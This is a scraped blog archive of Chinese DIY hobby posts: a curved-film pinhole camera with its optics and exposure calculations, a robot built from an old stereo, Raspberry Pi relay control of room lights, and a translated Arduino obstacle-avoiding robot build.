![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/19e9de1c95_0064cTs2jw1euw6j3ka98j30dw0biaaa.jpg) ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/19e9de1c95_0064cTs2jw1euw6j3ka98j30dw0biaaa.jpg) 机器人安好后摆个POSE ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/bce3fb973d_0064cTs2jw1euw6j4fs9dj30dw06wq3b.jpg) 复位后的状态 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/bce3fb973d_0064cTs2jw1euw6j5ehv6j30dw08hgm6.jpg) 机器人站起来了 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/679631bf22_0064cTs2jw1euw6j6ctn5j30dw0a6js3.jpg) ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/679631bf22_0064cTs2jw1euw6j8aljgj30dw09mmxq.jpg) 机器人PS手柄和遥控装置 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/b288cb26b1_0064cTs2jw1euw6j7c8d6j30cg0gowfj.jpg) [【神级DIY】自制无线控制“甲壳虫”机器人](http://www.geekfan.net/13971/),首发于[极客范 – GeekFan.net](http://www.geekfan.net)。 --- ## DIY:制作曲面感光元件的针孔相机 Date: 2015-08-07 URL: https://blog.wo.ai/archives/1027 Categories: Uncategorized 我们曾介绍不少自制针孔相机,而通常都是使用已经提供好的纸模来制作。而来自加拿大的摄影师 Matt Bechberger,则分享了一个非常完整的针孔相机制作指引,包括了数学上及物理学上的讲解,相机通过弯曲胶卷曝光的办法,令胶卷可以均匀曝光,极大地消除了画面的暗角!很好玩哦~。如果你也想自制一台如此认真的针孔相机,可以来参考参考! ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/4b222ce67d_0064cTs2jw1euu1lrf4mvj30jg0eljvk.jpg) ## **基础概念** 针孔相机其实是最原始的相机,光线在物体身上反射出来,然后透过相机上的小孔,聚焦于相机内的底片上,而任何可以遮挡着针孔的东西都可成为快门,手动控制曝光时间。就是这么简单。 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/14bbbeea21_0064cTs2jw1euu1lsfhwwj30dg08p74l.jpg) ## **数学计算** 制作方面,首先你要制造出一个好的针孔,在互联网上都可以买得到,又或你能够自制一个。建议材料是一般的铝罐皮,越薄越好。然后使用小锤及针,轻轻地戳一个洞,在戳的时候最后在底先垫一块橡皮擦,以防止变形。完成后再用砂纸把铝片磨平,并且用显微镜或平板素描器之类 (如果有),去检视针孔的圆度及质素。如果你选用一些硬质金属,则可能要特地使用电钻之类了。 然后你要找出针孔的直径,知道后就可以计算出所需焦距﹐也就是针孔与底片之间的距离。 算式如下︰焦距 = (针孔直径 / 0.03679)^2 例如 针孔0.3mm 焦距 = (0.3mm / 0.03679)^2 = 66.49mm 接下来要计算的就是「视角」(viewing angle),即是光线进入的最大角度,这取决于针孔的直径与物料的厚度。 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/58dff55f82_0064cTs2jw1euu1lta5cej30e80a474c.jpg) ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/bfd9f20928_0064cTs2jw1euu1lu6vo7j30e806ajrg.jpg) ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/bfd9f20928_0064cTs2jw1euu1lvaya8j30e80c4gm0.jpg) 这个需要动用直角三角形的公式,要用上计数机。d 就是针孔直径,而 t 就是物料厚度,简化版公式如下︰ 视角 = tan^-1( (d/2)/(t/2) ) x 2 例如︰ 视角 = tan^-1( (0.3/2)/(0.0762/2) ) x 2 = 75.74 x 2 = 151.5 度 视角的重要性,在于让你判断光线能否恰当覆盖到底片,如果覆盖不足的话,就会出现黑角及黑边。例如上图般,底片的对角线不应长于成像圈的直径。而成像圈的直径算式如下︰ 成像圈直径 (mm) = 2 x 焦距 x tan ((视角)/2) 例如︰ 成像圈直径 (mm) = 2 x 66.49 x tan (151.5/2) = 523.61 mm 在这个例子里,成像圈非常大,所以配合弧面底片的话,就可以在 120 底片上拍出 17cm x 6cm 的超广角影像。 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/001f4caee6_0064cTs2jw1euu1lw4mb7j30e807g74g.jpg) ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/c8b98ee38d_0064cTs2jw1euu1lx75hsj30e80abwey.jpg) ## **相机制作** 完成了数学计算后,就到物理上的实践。弧面底片的就可以让整块底片都与针孔保持相等距离,从而得到均匀曝光。 相机材料方面没太大限制,最重要是能够阻止光线进入。 卷动底片方面,则要使用如下图的扁状金属条 + 结他旋钮的东西,两边各一个,以松开底片及收紧底片之用。 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/c8b98ee38d_0064cTs2jw1euu1m2fl7vj30ku0axq4k.jpg) ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/567802dfc7_0064cTs2jw1euu1m0djl2j30ku0i80uc.jpg) ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/567802dfc7_0064cTs2jw1euu1ly8f2ej30e80ao0ti.jpg) 快门方面,丰俭由人,你可以像作者一样,自制一个以弹簧及快门线控制的快门。 在相机背后需要钻一个小孔,以确定底片的使用量,最好在相机内部涂上黑漆,以消除任何杂散光。 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/38b90ec283_0064cTs2jw1euu1m4dv4dj30e80aot98.jpg) ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/3802c32424_0064cTs2jw1euu1m3fwjwj30e80aot98.jpg) ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/3802c32424_0064cTs2jw1euu1m5owucj30e80aogmx.jpg) ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/ea3571d935_0064cTs2jw1euu1m6p7imj30e80ao0tj.jpg) **曝光计算** 接下来要计算的是光圈值,这个会影响你所需要的曝光时间。 算式如下︰ _光圈值 = 焦距 / 针孔直径_ 例如︰ 光圈值 = 焦距 / 针孔直径 = 66.49mm / 0.3mm = 221 这个世界恐怕没有甚么相机或测光表有 f/221,所以我们要做下一步计算。 根据「标准全级光圈值尺度」,每一级光圈值之间,光线量是减半,亦即是光圈的面积也是每级减半。数字如下︰1.4,2,2.8,5.6,8,11,16,22,32,44,64,88,128,176,256,352。但是超过 f/22 的测光表是不存在的,因此我们可以透过计算自行找出倍数。 不过放心,一般的针孔摄影不是精准的科学,所以也不需要精确的数学。在这情况下 f/221 大概接近 f/256,就当作 f/256 可以了。相比起 f/16 即是有 8 级的差异,也就是说 f/16 的光量是 f/256 的 2^8 倍,也就是 256 倍。 因此你可以透过测光表之类,以相同的 ISO 值但用 f/16 作测量,得快门值后再乘以 256 倍,就是所需的曝光时间了。例如我们测出要曝光 1 秒,那么在此针孔相机上则要曝光 256 秒。 **倒易律失效 (Reciprocity Failure)** 直至现时为止,所有东西都很直接很数学,但是在摄影上来说,还有一样东西称为「倒易律」。简单说就是在同一感光物料上,曝光时间与曝光量是成正比例上升的,曝光时间两倍,则曝光量也有两倍。但在实际拍摄上,当曝光时间超过一定秒数,就会出现「倒易律失效」,两者不再成正比例,如果想得到正确曝光,则需要额外曝光时间。 下图就是额外曝光简表,很有用,留着它︰ ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/ea3571d935_0064cTs2jw1euu1m7x1jkj30e80a8dgj.jpg) 就用 256 秒曝光为例,因为倒易律失效,所以要用上 4 倍曝光时间,即是 1024 秒,由 4 分钟增至 17 分钟,差异当然很大,而且要在曝光环境良好稳定的情况下才是这样。不过放心,其实就算少几分钟也不会很差的,摄影师就曾试过仅用了应有曝光时间的 1/8 来拍摄,结果也不错。 最后提一提,由于针孔摄影往往需要很长曝光时间,所以使用脚架,或放置在稳定的平台上拍摄是很重要的。 **检验相机成果** 接下来让我们看看曲面感光拍出来的效果吧~。 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/f7f5900400_0064cTs2jw1euu1m9fj4uj30n206yta4.jpg) ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/f7f5900400_0064cTs2jw1euu1mau67qj30n20793zh.jpg) ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/3ccdb383cb_0064cTs2jw1euu1mc3tynj30n206qdgs.jpg) [DIY:制作曲面感光元件的针孔相机](http://www.geekfan.net/13956/),首发于[极客范 – GeekFan.net](http://www.geekfan.net)。 --- ## DIY:拆了收录机,做个机器人 Date: 2015-08-06 URL: https://blog.wo.ai/archives/1026 Categories: Uncategorized ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/9b17b52acd_0064cTs2jw1eusto5xhnhj30cx0h8ac0.jpg) 我(原作者)是那种会留下所有损坏的电子设备的人,因为我有可能会在某天用到这些东西。我有一张坏了的CD,一个磁带盒和一个别人送我的收音机,它会随机地保持关机状态。事实证明,这不过是因为收音机的某个焊点坏了。把收音机拆开后我才意识到,由于我们已经有了手机,这些年我们已经很少用到它了。如果我再把它组装回来,也不过是放在架子上落灰。 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/8c00042fe3_0064cTs2jw1eusto06f50j30go0cidh2.jpg) 我决定把它身上多余的东西拆掉,用剩下的关键部位组装出一种功能不变但外表新颖的东西。这样起码还能将它作为架子上的装饰品。如果你也喜欢利用废品做机器人,那么你可能会喜欢这样的尝试。这个机器人能够播放CD、磁带,能听收音机,还能通过音频输入线与你的手机相连。 **第一步:工具准备** ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/7fd686a1ca_0064cTs2jw1eusto46ki9j30go0ciq4f.jpg) 要说出具体需要的工具还真有点困难,以下是必备工具。 1、达美电磨 2、电钻 3、机械螺丝 4、刀具 5、锉刀 6、中心冲头 7、热熔枪 8、钳子 9、螺丝刀 10、卡尺 11、一台3D打印机在定制支架时非常有用,如果你没有的话,你可以用聚氯乙烯这种材料,使用时将其热熔即可。 **拆解** ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/0f2c0c8da6_0064cTs2jw1eusto2lnc4j30go0cidhg.jpg) ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/a75a50f45e_0064cTs2jw1eustodwtbmj30go0ci407.jpg) 要想得到拼接机器人,你必须先将东西都拆开。你可以看到图中的受害者:一台美国无线电公司产的立体声音响。拆开后,我惊讶地发现里面非常空。我把这些东西拆开后,将它们都拼接到了一起,幸运的是这些东西都还能正常工作。这是一个看上去很好玩的立体声音响。当然,这些还不够,如果要做好机器人,我还需要找一些能当支架的废品。 **重新组合** ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/a75a50f45e_0064cTs2jw1eustnyobrdj30go0ci0v4.jpg) ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/c2bafe4f77_0064cTs2jw1eusto8f8lnj30go0ci0u7.jpg) 要做一个能站立的机器人,必不可少的一部分是它的双脚。我将一张硬盘劈成了两半给它做脚,用大型激光打印机的一些零件给它做了双腿。我发现最难的地方在于,如何将两个不相干的东西结合到一起。我需要一种能支撑这些零件重量的东西,我可不希望我将它拿起来的时候它就散架了。 我的解决办法是将零件对齐,给它们钻孔并用螺丝将其连接起来。对于一些没法钻孔并用螺丝连接的地方,我会先测量尺寸,并用3D打印机定制一些支架。 **接着干** ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/3eef209e0a_0064cTs2jw1eusto79lmrj30go0ciabn.jpg) ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/1214741bfa_0064cTs2jw1eusto9zrjfj30go0cftad.jpg) 另外一个挑战在于如何连接这些扬声器。我想将它们变成机器人的肩膀,但不知道该怎么讲它们连接起来。在切开塑料的时候,我发现收音机外壳上的网很适合做肩膀。由于它们会阻碍其它零件,因此我用3D打印机定制了一些支架,让它们能够上下翻折。 **快好了** ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/863e9add89_0064cTs2jw1eustofdrpdj30go0cimyk.jpg) ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/47b4fb1a46_0064cTs2jw1eustob76rnj30go0bwdh5.jpg) 到目前为止,头是最有挑战性的一部分。我希望机器人的外表在具有复古风格的同时,还能让人在看到它的第一眼就知道它的功能与声音有关。我发现一盒旧磁带的大小与电脑散热片的大小差不多。散热片也可以用来做机器人的头,因为它大部分地方是空的,能够轻易地在里面接线从而给它焊电灯泡。酷酷的机器人怎么可以不亮呢?另外,感谢我的女朋友在此过程中伸出援手。 **一些收尾工作** ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/28d4915480_0064cTs2jw1eusto1e257j30go0ci75g.jpg) ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/1e693bb150_0064cTs2jw1eustociclpj30gi0d7tab.jpg) 搜寻过废物箱之后,我找到一个废弃的相机电路和一圈花线,并将它们装饰到机器人的头上,给它增加复古感。卷线很容易,只要将它绕在螺栓或者螺丝起子上就行。 整个过程用时比我想象的要长。总共用了50个多小时,不过整个过程很有趣。我还会对这个机器人做一些改进,比如给它身上加一些灯和可移动零件,并给这些灯加上控制开关。我还想知道如何能将机器人的嘴变得能够显示音量大小,并让它根据所播放的声音眨眼。如果你知道,请跟我联系或者在评论中告知我。能变废为宝是一件很棒的事,我会做更多这类大小的机器人。 [DIY:拆了收录机,做个机器人](http://www.geekfan.net/13945/),首发于[极客范 – GeekFan.net](http://www.geekfan.net)。 --- ## 极客DIY:轻松使用树莓派控制灯 Date: 2015-08-06 URL: https://blog.wo.ai/archives/1025 Categories: Uncategorized ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/a75faa6823_0064cTs2jw1eust4u6e86j30fa0a6mzj.jpg) 最近笔者正在研究微控制器和基于物联网的设备安全。因此,我开始考虑建立一个小型家庭系统化系统,虽然目前还没完成,但我想先在文章中分享一下我如何使用树莓派2及一些其他电子元件来控制房间的灯光。当然,我在这里不会介绍树莓派的初始设置,因为你可以在网上发现各种各样的教程。 **注意事项** 在我们继续实验之前,我想有必要提醒一下关于实验中“电流”的危险性。一旦出现任何状况,最糟糕的情况就是死掉或者烧了你的房子。所以,请不要试图完成任何文中提到但是你不理解事情,或者你可以在制作的时候寻求一些有经验的电工的帮助。 好啦,让我们开始DIY吧! **实验准备** **硬件需求** 1、树莓派2(或者任何5V输出功率的型号,均可) 2、USB无线软件狗 3、8路继电器 4、一些Female-Female跳线(40 PCS FEMALE TO FEMALE JUMPER WIRES) 5、灯头电线 (以上硬件,某宝均有销售) **其他要求** 1、了解基本Python语言或者其他任何语言(我会用到Python) 2、对Linux系统有基本了解 3、专心致志 **流程要求** 首先,用ssh链接到树莓派上,并安装“apache”和“php5”: ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/41d5a0bdc4_0064cTs2jw1eust4n4n9cj30fe016q2u.jpg) 你会需要安装python的GPIO库来控制树莓派的GPIO插脚: ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/48d36d528a_0064cTs2jw1eust4o41m4j30fe00uglh.jpg) **了解元件** 现在,在我们继续制作之前,你需要了解一下我们将使用到的电子元件。 **1、继电器** 继电器是一种使用非常低的电压输入控制高压电的电气设备。由一个线圈缠绕的金属杆和两个小型金属节点构成的闭合电路。其中一个节点是固定的,其他的都是可移动的。无论何时,当电流通过线圈的时候,它会产生一个磁场,吸引可移动节点向静态节点运动,形成电路。通过给线圈供应小额电压,我们就能完成高压电路的轮回。同时,静态节点并非在物理上与线圈有联系,因此一旦有地方出错,微控制器驱动的线圈也很少出现故障。 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/eb38405e7a_0064cTs2jw1eust4lyugdj30em05wmz1.jpg) 试验中,我使用一个8路继电器,可以同时控制8个设备。你可以选择自己的继电器或者继电板,但是请确保你在继电器的额定电压之内处理,以避免任何事故的发生。 **2、跳线** 跳线就是我们链接树莓派GPIO插脚与继电器的简单连接电线。 **3、树莓派2** 我们使用树莓派2作为一个微控制器来操纵继电器。它有40个GPIO(通用输入/输出)插脚。你可以看到下面这些插脚的布局,我们将使用这些接口为继电器加电和控制开关。 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/d70bf7a342_0064cTs2jw1eust56b66nj30fs0biq4u.jpg) **连接电路** 电路非常简单。我们将连接GPIO插脚到继电板上。首先连接继电器板上的“GND”与树莓派上的任意“GND”。然后链接继电器的“IND1”到GPIO PIN 17,我们会把GPIO PIN 17作为一个控制第一继电器的输出。最后,将继电器的“VCC”连接到树莓派的“5V”GPIO插脚。让我们简单直接设置一下: ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/d70bf7a342_0064cTs2jw1eust4otrypj30fe01wwei.jpg) 现在我们到了最为棘手的部分,我们要将继电器连接到接通主电路供电的灯头上。但是,我想先给你介绍一个如何通过直流屏电源开启及关闭灯光的简单操作。 我们通常连接两根电线到灯泡上,来提供电流供给。其中一根电线是“中性”电线,另一根则是实际带着电流的“负极”电线,同样的这里也有一个控制整个电路的开关。因此,当开关(闭合)连接到流经灯泡的电流和负极电线时,电路便完整了。灯泡从而亮了起来。当开关(断开),破坏了电路和灯泡的电流,因此灯泡不亮。这里有一个小的电路图来解释具体情况: ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/fab47ab2fe_0064cTs2jw1eust4uwe9cj30a107y0sv.jpg) 当我们在试验中,我们需要“负极电线”通过我们的继电器来打破电路,从而使用继电器开关的控制流经的电流。因此,当继电器打开,在闭合电路中灯泡也应该亮起来,反之亦然。请参考一下完整的电路: ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/f66e01031a_0064cTs2jw1eust54juh6j313g0fegum.jpg) **控制脚本** 现在,终于到了软件的部分。我编写了一个简单的python脚本来控制继电器开关,使用了GPIO PIN 17和一个PHP代码可以在任何移动终端上面来运行python脚本。你可以从我的Github(和CSS)上找到这段代码。 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/8ebf37898c_0064cTs2jw1eust4qvl0mj30fe06gab5.jpg) ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/8ebf37898c_0064cTs2jw1eust4se1zfj30fe0ayq55.jpg) 注意:你将会需要添加“www-data”用户到sudoers文件。 注意+:PHP代码只是为了测试,我们不建议在公共环境中运行。 不久我将完成这个设置,希望回来更新一个新的帖子。请在那时之前,自己动手试一下这个控制灯,但是一定要注意安全。 视频展示:demo1 : demo2: **参考** · GPIO Diagram: · · · · [极客DIY:轻松使用树莓派控制灯](http://www.geekfan.net/13941/),首发于[极客范 – GeekFan.net](http://www.geekfan.net)。 --- ## 自主机器人:你的私人WALL·E Date: 2015-08-05 URL: https://blog.wo.ai/archives/1024 Categories: Uncategorized DIYer: | Kris Magri ---|--- 制作时间: | 2-3周 制作难度: | ★★★★☆ GEEK指数: | ★★★★★ 看最终效果视频 Makey是我编程实现的一个自主机器人(自主者,非遥控也),能够识别并规避障碍。她拥有全封闭的底盘并使用差速转向(原文为“tank steering”,坦克的驾驶方式),这种转向方式使用两台分开控制的电动机分别驱动两个主动轮(一机一轮) 控制信号来自其自身携带的Arduino微型控制器(在国内用单片机如PIC、AVR,或者Arm处理器都可以很好地替代),另外有一个舵机用于Makey头部的转动。Makey的头部装有一个超声波探头,她会持续的左右摇头,以得到不同方向上的距离信息,并进行存储和处理 通过对Arduino的编程,Makey可是实现诸如寻路的功能,仅需要少量硬件上的修改,Makey即可参加机器人界热门的Mini-Sumo(迷你相扑)比赛. **1 工具和材料** ● (使用的工具与零部件列表这里没翻,毕竟相当一部分东西买原版都不太现实也没有必要–国内的家伙事儿差不多的也能土法上马,有兴趣的童鞋请参考原文) ● 想得到关于这个项目的图示、图纸、代码,请移步 [资料下载](http://makezine.com/19/makey) **2 制作机身** ● 机身由两片铝合金薄板制成,涉及的加工方法有切割、钻孔和折弯。你可以一次一片的加工,或者两片一起做以减少占用加工设备的机时。成品见2.5 ● 猛击 资料下载 下载图纸并全尺寸打印。剪下底板(base)切割图,用双面胶将切割图均匀平整的贴在铝合金薄板上 ● 注意:切割金属时务必佩戴防护眼镜 **2.1 切割** ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/47503e54ca_0064cTs2jw1eurt9g547gj30gg0ccdgn.jpg) ● 用带锯机把铝合金片切成图纸的形状,切割的边缘一定要在线外 ● 提示:切割内角时,先切出一个大概的弧形曲线,然后从两个方向直线进刀以得到直角 **2.2 打孔** ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/ca6652a0ae_0064cTs2jw1eurt9qc5iej30gg0ccaau.jpg) ● 用冲子和小锤子在图上有十字线的17处冲出定位孔,为下一步的钻孔做准备。另外要在图上长方形的孔的四个角上冲透 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/c150c109d9_0064cTs2jw1eurt8ymazzj30gg0cc753.jpg) ● 按照图上标十字线处的尺寸钻孔,要首先取下贴上去的图纸(不过别扔了),用钻头对准前面留下的冲痕开钻可以使钻孔更精确 ● 把金属牢固的夹在废木头板上或者随便什么垫子上,这样可以得到更平滑的孔而不会导致薄金属板在钻孔处扭曲变形 ● 为了掏成方形孔而钻圆形孔时,你可能需要调整钻孔的直径以使圆孔边缘与长方形的边相切 **2.3 挖槽** ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/c150c109d9_0064cTs2jw1eurt94uhyyj30gg0ccjs3.jpg) ● 用冲剪完成对长方形孔的加工,如果你愿意的话可以把前面揭下来的图再贴回去,以便容易知道长方形的边界在哪。最后把边缘磨平 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/edb8202a4c_0064cTs2jw1eurt914whmj30gg0ccdgl.jpg) ● 用手工打磨工具去掉金属边缘的毛刺。给小孔磨边的方法为:把大钻头的尖端插进小孔,然后手工转几下 > 冲剪是长成这样滴: > ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/edb8202a4c_0064cTs2jw1eurt8xginyj30f208k75d.jpg) > 2.1-2.3都是跟合金板过不去的活儿,原作者的办法基本是土法上马,与美帝的高科技风格严重不符。柚子在大学折腾机器人那会儿去交大观摩,他们有加工中心,只要把CAD图画出来发过去,那边用等离子切割机就给“打印”出来了,钻啊、掏异形啊这种活儿根本不存在。更神奇的是切完的边不用磨,基本不扎手。另外我们用土法掏方形孔的时候是先钻大孔,把带锯拆开一头套进去然后慢慢锯,得到的孔要多丑有多丑,然后还得上铁砧拿小锤砸平 **2.4 弯板** ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/1eddb4e276_0064cTs2jw1eurt8w6jogj30gg0ccgme.jpg) ● 把底板的折弯图用双面胶贴到铝板的另一面,对准圆洞方洞的位置,别贴歪了 ● 把铝片贴折弯图的一面向上塞进弯板机里,在所有标示折弯的部位折90度 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/f16b07a067_0064cTs2jw1eurt8ztu8rj30gg0ccwf7.jpg) ● 每个长边上的两个突出部要先折,然后再折机身的边。(顺序反了就塞不进去了) ● 折弯后要缓慢释放,测量,确认每一处折弯都要是直角 **2.5 制作顶板** ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/f16b07a067_0064cTs2jw1eurt98j1x1j30gg0cb3z8.jpg) ● 重复2.1-2.4步骤,加工顶板(top),然后你就搞定了每个机器人都会喜欢的底盘 **3 运动系统** **3.1 安装电机** ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/446a03ef41_0064cTs2jw1eurt9wp67hj30gg0cct9i.jpg) ● 用4-40 x 1螺丝穿过小孔,将驱动电机定位在底板上,电机的传动轴应该穿过大孔 ● 使用螺母和垫片在电机的一端上紧,因为可以施展的空间尺寸很小,可能需要尖嘴钳子(夹住螺母)才能上紧 **3.2 制作轮毂** ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/718a74cdaa_0064cTs2jw1eurt9610smj30gg0cc750.jpg) ● 用2英寸(外径,合50.8mm)的空心钻头(见过装空调的师傅在墙上钻大洞用的那种钻吧,很类似)在废木头板上钻出轮子(钻透木板之后木板上有个圆洞,钻头中间的洞里会剩下个圆片,这个圆片就是轮子),我用了18号板(貌似是一种规格),最终得到的轮子有3/4英寸(19.05mm)厚,直径1.8英寸(45.72mm)。钻轮子的时候要牢固的固定木板,并且缓慢进刀,防止卡住钻头 ● 给2个木头轮子分别对心定位一个轮心(图中白色塑料的小轮子),并用小螺丝标记两个孔的位置,在此位置上用1英寸(原文如此,合25.4mm,不过疑为有误,从图上看孔绝对没那么大)的钻头钻透 ● 给木头轮子喷漆,我喜欢红色光面防锈漆,这种东西非常薄,颜色很亮,覆盖性好并且容易清洁。注意,不要在安装孔里喷太多 **3.3 制作轮胎** ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/718a74cdaa_0064cTs2jw1eurt9sy591j30gg0ccwf8.jpg) ● 用43号钻头在轮心上钻两个相对的孔,然后用4-40丝锥在每个孔里攻出螺纹 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/431f324558_0064cTs2jw1eurt9l2wbjj30gg0ccq3q.jpg) ● 用两个4-40 x 1螺丝从木轮外侧把轮子和轮心固定在一起,不要太紧 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/431f324558_0064cTs2jw1eurt9b3k02j30gg0cct9i.jpg) ● 给每个轮子装轮胎,轮胎外径比较大的一面朝外。最后把轮子装在驱动电机的传动轴上 3.1-3.3就是折腾那俩轮子,原作者极其不厚道,没说怎么对心,这个很重要,谁也不希望做完的机器人跑起来一跳一跳的。您还别问我咋对心,我也没经验,新手还是找现成的轮子对付一套比较安全。另外3.2-3.3中原作者留下一个逻辑错误,看出来的童鞋请举手 **3.4 安装万向轮** ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/3efb8bd81f_0064cTs2jw1eurt8v81v9j30gg0cct9h.jpg) ● 使用螺丝、螺母以及垫片将万向滚珠安装在底板底部 **4 电控系统** **4.1 安装电源** ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/3efb8bd81f_0064cTs2jw1eurt9juwbpj30gg0ccgmc.jpg) ● 按照第一步打印出来的隔板图样,从一块硬塑料上切出隔板(隔板是用来装线路板的,用塑料是为了绝缘),按说明打孔,尝试着塞进机器人的外壳并使之架在驱动电机之上,作必要的修整,令其充分贴合匹配 ● 用两个4-40 x 2螺丝将Arduino控制线路板与硬塑料隔板固定在一起,螺丝应从隔板下方穿入,并在线路板上方拧螺母。线路板上的USB接口需要和机器人面板上预先留好的开口充分对齐 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/fa30f07149_0064cTs2jw1eurt93r3jqj30gg0ccmxz.jpg) ● 将电池夹具铆接在机器人外壳的左侧面板上,预制的铆钉头朝外,这样的话丑的一头就朝里啦 关于铆接,这里指的不是造泰坦尼克的那种把烧红了的钢制铆钉插进去挤兑一下的工艺,而是一种将铝合金预制铆钉的开放端在常温下挤压成型从而将两个或更多构件固定在一起的方法,最常见到的是各地马路边的刮大风能掉下来砸死人的铁皮广告牌子,它们就是用这种工艺把镀锌薄钢板固定在L字钢框架支撑结构上滴 **4.2 控制板** ● 按照制造商的教程,把原型板(ProtoShield)焊好教程在 [这里](http://www.atomicsalad.com/archive/2007/03/11/tutorial_sparkfun_protoshield_assembly_use.php) ● 用带锯机把板子上的BlueSMiRF接头切下来,这个接头是用来连接蓝牙模块的,我们的机器人用不到那东西。是不是锯得很爽? ● 把面包板接在原型板上,原型板插在Arduino上,如果用的是Diecimila(Arduino主板的一个版本),那么将电源跳线设置在EXT位上 > 焊接原型板绝对不是个轻松的活儿,没基础的童鞋搞不定也不用纠结。面包板(breadboard)是这么个东西,其意义在于省了烧电烙铁的麻烦,不过问题是有时候元件捅进去会接触不良… ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/3f12da3d3a_0064cTs2jw1eurt9u6u6tj30gg0hh0ti.jpg) **5 给WALL·E安上一双明亮的眼睛** **5.1 WALL·E的脖子** ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/3f12da3d3a_0064cTs2jw1eurt9ikd2wj30gg0ccaaw.jpg) ● 咱这个项目用的是HS-55型舵机及与之配套的较短的一字舵角,用5”钻头对舵角最靠外的两个孔进行扩孔 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/4a69eca603_0064cTs2jw1eurt9dgelvj305k03ra9y.jpg) _Du-Bro Mini E/Z 连接头, #DUB845_ ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/4a69eca603_0064cTs2jw1eurt99upp9j305k03pglk.jpg) _微副翼系统 Du-Bro Micro Aileron System, #DUB850_ ● 将两个Du-Bro Mini E/Z连接头从正面穿过摇臂两端的孔,并在反面用黑色橡胶的部件固定 ● 将控制杆(图中所示的细铁丝样东西)穿过Du-Bro Mini E/Z连接头,并用连接头附带的螺丝拧紧 **5.2 WALL·E之眼** ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/d7ca733b58_0064cTs2jw1eurt9hakhhj30gg0cc0ti.jpg) ● 有挑战性的工作来咯!咱们需要把舵机和超声波探头接在一起。把从舵机上伸出来的控制杆分别穿过位于传感器电路板对角的定位孔(这个定位孔来自Du-Bro Mini E/Z连接头,连接头又插在板子上的螺丝眼里,然后另一端用那个黑橡胶部件固定)并向外折成90度角 ● 控制杆应该从舵角开始竖直向上,并且给超声波探头留下足够插信号线的空间,传感器正面(有收发端,也就是像俩小眼睛的那一面)朝前,控制杆上还应该套上绝缘套(就是那个塑料管)以防止短路,绝缘套在Du-Bro套件里可以找到。确认安装无误后,将控制杆与传感器上的连接头拧紧。 